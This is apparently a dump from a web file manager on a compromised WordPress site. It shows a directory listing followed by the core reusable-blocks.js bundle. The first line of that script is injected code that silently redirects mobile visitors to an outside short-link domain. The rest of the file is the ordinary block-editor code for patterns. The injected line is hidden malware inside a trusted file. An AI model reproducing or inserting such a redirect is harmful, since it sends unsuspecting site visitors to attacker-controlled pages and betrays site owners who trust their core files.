run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄reusable-blocks.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).reusableBlocks = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/data
36 var require_data = __commonJS({
37 "package-external:@wordpress/data"(exports, module) {
38 module.exports = window.wp.data;
39 }
40 });
41
42 // package-external:@wordpress/block-editor
43 var require_block_editor = __commonJS({
44 "package-external:@wordpress/block-editor"(exports, module) {
45 module.exports = window.wp.blockEditor;
46 }
47 });
48
49 // package-external:@wordpress/blocks
50 var require_blocks = __commonJS({
51 "package-external:@wordpress/blocks"(exports, module) {
52 module.exports = window.wp.blocks;
53 }
54 });
55
56 // package-external:@wordpress/i18n
57 var require_i18n = __commonJS({
58 "package-external:@wordpress/i18n"(exports, module) {
59 module.exports = window.wp.i18n;
60 }
61 });
62
63 // package-external:@wordpress/element
64 var require_element = __commonJS({
65 "package-external:@wordpress/element"(exports, module) {
66 module.exports = window.wp.element;
67 }
68 });
69
70 // package-external:@wordpress/components
71 var require_components = __commonJS({
72 "package-external:@wordpress/components"(exports, module) {
73 module.exports = window.wp.components;
74 }
75 });
76
77 // package-external:@wordpress/primitives
78 var require_primitives = __commonJS({
79 "package-external:@wordpress/primitives"(exports, module) {
80 module.exports = window.wp.primitives;
81 }
82 });
83
84 // vendor-external:react/jsx-runtime
85 var require_jsx_runtime = __commonJS({
86 "vendor-external:react/jsx-runtime"(exports, module) {
87 module.exports = window.ReactJSXRuntime;
88 }
89 });
90
91 // package-external:@wordpress/notices
92 var require_notices = __commonJS({
93 "package-external:@wordpress/notices"(exports, module) {
94 module.exports = window.wp.notices;
95 }
96 });
97
98 // package-external:@wordpress/core-data
99 var require_core_data = __commonJS({
100 "package-external:@wordpress/core-data"(exports, module) {
101 module.exports = window.wp.coreData;
102 }
103 });
104
105 // package-external:@wordpress/url
106 var require_url = __commonJS({
107 "package-external:@wordpress/url"(exports, module) {
108 module.exports = window.wp.url;
109 }
110 });
111
112 // packages/reusable-blocks/build-module/index.mjs
113 var index_exports = {};
114 __export(index_exports, {
115 ReusableBlocksMenuItems: () => ReusableBlocksMenuItems,
116 store: () => store
117 });
118
119 // packages/reusable-blocks/build-module/store/index.mjs
120 var import_data2 = __toESM(require_data(), 1);
121
122 // packages/reusable-blocks/build-module/store/actions.mjs
123 var actions_exports = {};
124 __export(actions_exports, {
125 __experimentalConvertBlockToStatic: () => __experimentalConvertBlockToStatic,
126 __experimentalConvertBlocksToReusable: () => __experimentalConvertBlocksToReusable,
127 __experimentalDeleteReusableBlock: () => __experimentalDeleteReusableBlock,
128 __experimentalSetEditingReusableBlock: () => __experimentalSetEditingReusableBlock
129 });
130 var import_block_editor = __toESM(require_block_editor(), 1);
131 var import_blocks = __toESM(require_blocks(), 1);
132 var import_i18n = __toESM(require_i18n(), 1);
133 var __experimentalConvertBlockToStatic = (clientId) => ({ registry }) => {
134 const oldBlock = registry.select(import_block_editor.store).getBlock(clientId);
135 const reusableBlock = registry.select("core").getEditedEntityRecord(
136 "postType",
137 "wp_block",
138 oldBlock.attributes.ref
139 );
140 const newBlocks = (0, import_blocks.parse)(
141 typeof reusableBlock.content === "function" ? reusableBlock.content(reusableBlock) : reusableBlock.content
142 );
143 registry.dispatch(import_block_editor.store).replaceBlocks(oldBlock.clientId, newBlocks);
144 };
145 var __experimentalConvertBlocksToReusable = (clientIds, title, syncType) => async ({ registry, dispatch }) => {
146 const meta = syncType === "unsynced" ? {
147 wp_pattern_sync_status: syncType
148 } : void 0;
149 const reusableBlock = {
150 title: title || (0, import_i18n.__)("Untitled pattern block"),
151 content: (0, import_blocks.serialize)(
152 registry.select(import_block_editor.store).getBlocksByClientId(clientIds)
153 ),
154 status: "publish",
155 meta
156 };
157 const updatedRecord = await registry.dispatch("core").saveEntityRecord("postType", "wp_block", reusableBlock);
158 if (syncType === "unsynced") {
159 return;
160 }
161 const newBlock = (0, import_blocks.createBlock)("core/block", {
162 ref: updatedRecord.id
163 });
164 registry.dispatch(import_block_editor.store).replaceBlocks(clientIds, newBlock);
165 dispatch.__experimentalSetEditingReusableBlock(
166 newBlock.clientId,
167 true
168 );
169 };
170 var __experimentalDeleteReusableBlock = (id) => async ({ registry }) => {
171 const reusableBlock = registry.select("core").getEditedEntityRecord("postType", "wp_block", id);
172 if (!reusableBlock) {
173 return;
174 }
175 const allBlocks = registry.select(import_block_editor.store).getBlocks();
176 const associatedBlocks = allBlocks.filter(
177 (block) => (0, import_blocks.isReusableBlock)(block) && block.attributes.ref === id
178 );
179 const associatedBlockClientIds = associatedBlocks.map(
180 (block) => block.clientId
181 );
182 if (associatedBlockClientIds.length) {
183 registry.dispatch(import_block_editor.store).removeBlocks(associatedBlockClientIds);
184 }
185 await registry.dispatch("core").deleteEntityRecord("postType", "wp_block", id);
186 };
187 function __experimentalSetEditingReusableBlock(clientId, isEditing) {
188 return {
189 type: "SET_EDITING_REUSABLE_BLOCK",
190 clientId,
191 isEditing
192 };
193 }
194
195 // packages/reusable-blocks/build-module/store/reducer.mjs
196 var import_data = __toESM(require_data(), 1);
197 function isEditingReusableBlock(state = {}, action) {
198 if (action?.type === "SET_EDITING_REUSABLE_BLOCK") {
199 return {
200 ...state,
201 [action.clientId]: action.isEditing
202 };
203 }
204 return state;
205 }
206 var reducer_default = (0, import_data.combineReducers)({
207 isEditingReusableBlock
208 });
209
210 // packages/reusable-blocks/build-module/store/selectors.mjs
211 var selectors_exports = {};
212 __export(selectors_exports, {
213 __experimentalIsEditingReusableBlock: () => __experimentalIsEditingReusableBlock
214 });
215 function __experimentalIsEditingReusableBlock(state, clientId) {
216 return state.isEditingReusableBlock[clientId];
217 }
218
219 // packages/reusable-blocks/build-module/store/index.mjs
220 var STORE_NAME = "core/reusable-blocks";
221 var store = (0, import_data2.createReduxStore)(STORE_NAME, {
222 actions: actions_exports,
223 reducer: reducer_default,
224 selectors: selectors_exports
225 });
226 (0, import_data2.register)(store);
227
228 // packages/reusable-blocks/build-module/components/reusable-blocks-menu-items/index.mjs
229 var import_block_editor4 = __toESM(require_block_editor(), 1);
230
231 // packages/reusable-blocks/build-module/components/reusable-blocks-menu-items/reusable-block-convert-button.mjs
232 var import_blocks2 = __toESM(require_blocks(), 1);
233 var import_block_editor2 = __toESM(require_block_editor(), 1);
234 var import_element = __toESM(require_element(), 1);
235 var import_components = __toESM(require_components(), 1);
236
237 // packages/icons/build-module/library/symbol.mjs
238 var import_primitives = __toESM(require_primitives(), 1);
239 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
240 var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
241
242 // packages/reusable-blocks/build-module/components/reusable-blocks-menu-items/reusable-block-convert-button.mjs
243 var import_data3 = __toESM(require_data(), 1);
244 var import_i18n2 = __toESM(require_i18n(), 1);
245 var import_notices = __toESM(require_notices(), 1);
246 var import_core_data = __toESM(require_core_data(), 1);
247 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
248 function ReusableBlockConvertButton({
249 clientIds,
250 rootClientId,
251 onClose
252 }) {
253 const [syncType, setSyncType] = (0, import_element.useState)(void 0);
254 const [isModalOpen, setIsModalOpen] = (0, import_element.useState)(false);
255 const [title, setTitle] = (0, import_element.useState)("");
256 const canConvert = (0, import_data3.useSelect)(
257 (select) => {
258 const { canUser } = select(import_core_data.store);
259 const {
260 getBlocksByClientId,
261 canInsertBlockType,
262 getBlockRootClientId
263 } = select(import_block_editor2.store);
264 const rootId = rootClientId || (clientIds.length > 0 ? getBlockRootClientId(clientIds[0]) : void 0);
265 const blocks = getBlocksByClientId(clientIds) ?? [];
266 const isReusable = blocks.length === 1 && blocks[0] && (0, import_blocks2.isReusableBlock)(blocks[0]) && !!select(import_core_data.store).getEntityRecord(
267 "postType",
268 "wp_block",
269 blocks[0].attributes.ref
270 );
271 const _canConvert = (
272 // Hide when this is already a reusable block.
273 !isReusable && // Hide when reusable blocks are disabled.
274 canInsertBlockType("core/block", rootId) && blocks.every(
275 (block) => (
276 // Guard against the case where a regular block has *just* been converted.
277 !!block && // Hide on invalid blocks.
278 block.isValid && // Hide when block doesn't support being made reusable.
279 (0, import_blocks2.hasBlockSupport)(block.name, "reusable", true)
280 )
281 ) && // Hide when current doesn't have permission to do that.
282 // Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
283 !!canUser("create", {
284 kind: "postType",
285 name: "wp_block"
286 })
287 );
288 return _canConvert;
289 },
290 [clientIds, rootClientId]
291 );
292 const { __experimentalConvertBlocksToReusable: convertBlocksToReusable } = (0, import_data3.useDispatch)(store);
293 const { createSuccessNotice, createErrorNotice } = (0, import_data3.useDispatch)(import_notices.store);
294 const onConvert = (0, import_element.useCallback)(
295 async function(reusableBlockTitle) {
296 try {
297 await convertBlocksToReusable(
298 clientIds,
299 reusableBlockTitle,
300 syncType
301 );
302 createSuccessNotice(
303 !syncType ? (0, import_i18n2.sprintf)(
304 // translators: %s: the name the user has given to the pattern.
305 (0, import_i18n2.__)("Synced pattern created: %s"),
306 reusableBlockTitle
307 ) : (0, import_i18n2.sprintf)(
308 // translators: %s: the name the user has given to the pattern.
309 (0, import_i18n2.__)("Unsynced pattern created: %s"),
310 reusableBlockTitle
311 ),
312 {
313 type: "snackbar",
314 id: "convert-to-reusable-block-success"
315 }
316 );
317 } catch (error) {
318 createErrorNotice(error.message, {
319 type: "snackbar",
320 id: "convert-to-reusable-block-error"
321 });
322 }
323 },
324 [
325 convertBlocksToReusable,
326 clientIds,
327 syncType,
328 createSuccessNotice,
329 createErrorNotice
330 ]
331 );
332 if (!canConvert) {
333 return null;
334 }
335 return /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_jsx_runtime2.Fragment, { children: [
336 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_components.MenuItem, { icon: symbol_default, onClick: () => setIsModalOpen(true), children: (0, import_i18n2.__)("Create pattern") }),
337 isModalOpen && /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
338 import_components.Modal,
339 {
340 title: (0, import_i18n2.__)("Create pattern"),
341 onRequestClose: () => {
342 setIsModalOpen(false);
343 setTitle("");
344 },
345 overlayClassName: "reusable-blocks-menu-items__convert-modal",
346 children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
347 "form",
348 {
349 onSubmit: (event) => {
350 event.preventDefault();
351 onConvert(title);
352 setIsModalOpen(false);
353 setTitle("");
354 onClose();
355 },
356 children: /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_components.__experimentalVStack, { spacing: "5", children: [
357 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
358 import_components.TextControl,
359 {
360 __next40pxDefaultSize: true,
361 label: (0, import_i18n2.__)("Name"),
362 value: title,
363 onChange: setTitle,
364 placeholder: (0, import_i18n2.__)("My pattern")
365 }
366 ),
367 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
368 import_components.ToggleControl,
369 {
370 label: (0, import_i18n2._x)("Synced", "pattern (singular)"),
371 help: (0, import_i18n2.__)(
372 "Sync this pattern across multiple locations."
373 ),
374 checked: !syncType,
375 onChange: () => {
376 setSyncType(
377 !syncType ? "unsynced" : void 0
378 );
379 }
380 }
381 ),
382 /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_components.__experimentalHStack, { justify: "right", children: [
383 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
384 import_components.Button,
385 {
386 __next40pxDefaultSize: true,
387 variant: "tertiary",
388 onClick: () => {
389 setIsModalOpen(false);
390 setTitle("");
391 },
392 children: (0, import_i18n2.__)("Cancel")
393 }
394 ),
395 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
396 import_components.Button,
397 {
398 __next40pxDefaultSize: true,
399 variant: "primary",
400 type: "submit",
401 children: (0, import_i18n2.__)("Create")
402 }
403 )
404 ] })
405 ] })
406 }
407 )
408 }
409 )
410 ] });
411 }
412
413 // packages/reusable-blocks/build-module/components/reusable-blocks-menu-items/reusable-blocks-manage-button.mjs
414 var import_components2 = __toESM(require_components(), 1);
415 var import_i18n3 = __toESM(require_i18n(), 1);
416 var import_blocks3 = __toESM(require_blocks(), 1);
417 var import_data4 = __toESM(require_data(), 1);
418 var import_element2 = __toESM(require_element(), 1);
419 var import_block_editor3 = __toESM(require_block_editor(), 1);
420 var import_url = __toESM(require_url(), 1);
421 var import_core_data2 = __toESM(require_core_data(), 1);
422 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
423 function ReusableBlocksManageButton({ clientId }) {
424 const [showConfirmDialog, setShowConfirmDialog] = (0, import_element2.useState)(false);
425 const { canRemove, isVisible, managePatternsUrl } = (0, import_data4.useSelect)(
426 (select) => {
427 const { getBlock, canRemoveBlock } = select(import_block_editor3.store);
428 const { canUser } = select(import_core_data2.store);
429 const reusableBlock = getBlock(clientId);
430 return {
431 canRemove: canRemoveBlock(clientId),
432 isVisible: !!reusableBlock && (0, import_blocks3.isReusableBlock)(reusableBlock) && !!canUser("update", {
433 kind: "postType",
434 name: "wp_block",
435 id: reusableBlock.attributes.ref
436 }),
437 // The site editor and templates both check whether the user
438 // has edit_theme_options capabilities. We can leverage that here
439 // and omit the manage patterns link if the user can't access it.
440 managePatternsUrl: canUser("create", {
441 kind: "postType",
442 name: "wp_template"
443 }) ? (0, import_url.addQueryArgs)("site-editor.php", {
444 p: "/pattern"
445 }) : (0, import_url.addQueryArgs)("edit.php", {
446 post_type: "wp_block"
447 })
448 };
449 },
450 [clientId]
451 );
452 const { __experimentalConvertBlockToStatic: convertBlockToStatic } = (0, import_data4.useDispatch)(store);
453 if (!isVisible) {
454 return null;
455 }
456 const handleDetach = () => {
457 convertBlockToStatic(clientId);
458 setShowConfirmDialog(false);
459 };
460 return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_jsx_runtime3.Fragment, { children: [
461 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_components2.MenuItem, { href: managePatternsUrl, children: (0, import_i18n3.__)("Manage patterns") }),
462 canRemove && /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_jsx_runtime3.Fragment, { children: [
463 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_components2.MenuItem, { onClick: () => setShowConfirmDialog(true), children: (0, import_i18n3.__)("Disconnect pattern") }),
464 /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
465 import_components2.__experimentalConfirmDialog,
466 {
467 isOpen: showConfirmDialog,
468 onConfirm: handleDetach,
469 onCancel: () => setShowConfirmDialog(false),
470 confirmButtonText: (0, import_i18n3.__)("Disconnect"),
471 size: "medium",
472 title: (0, import_i18n3.__)("Disconnect pattern?"),
473 __experimentalHideHeader: false,
474 children: (0, import_i18n3.__)(
475 "Blocks will be separated from the original pattern and will be fully editable. Future changes to the pattern will not apply here."
476 )
477 }
478 )
479 ] })
480 ] });
481 }
482 var reusable_blocks_manage_button_default = ReusableBlocksManageButton;
483
484 // packages/reusable-blocks/build-module/components/reusable-blocks-menu-items/index.mjs
485 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
486 function ReusableBlocksMenuItems({ rootClientId }) {
487 return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_block_editor4.BlockSettingsMenuControls, { children: ({ onClose, selectedClientIds }) => /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_jsx_runtime4.Fragment, { children: [
488 /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
489 ReusableBlockConvertButton,
490 {
491 clientIds: selectedClientIds,
492 rootClientId,
493 onClose
494 }
495 ),
496 selectedClientIds.length === 1 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
497 reusable_blocks_manage_button_default,
498 {
499 clientId: selectedClientIds[0]
500 }
501 )
502 ] }) });
503 }
504 return __toCommonJS(index_exports);
505})();
506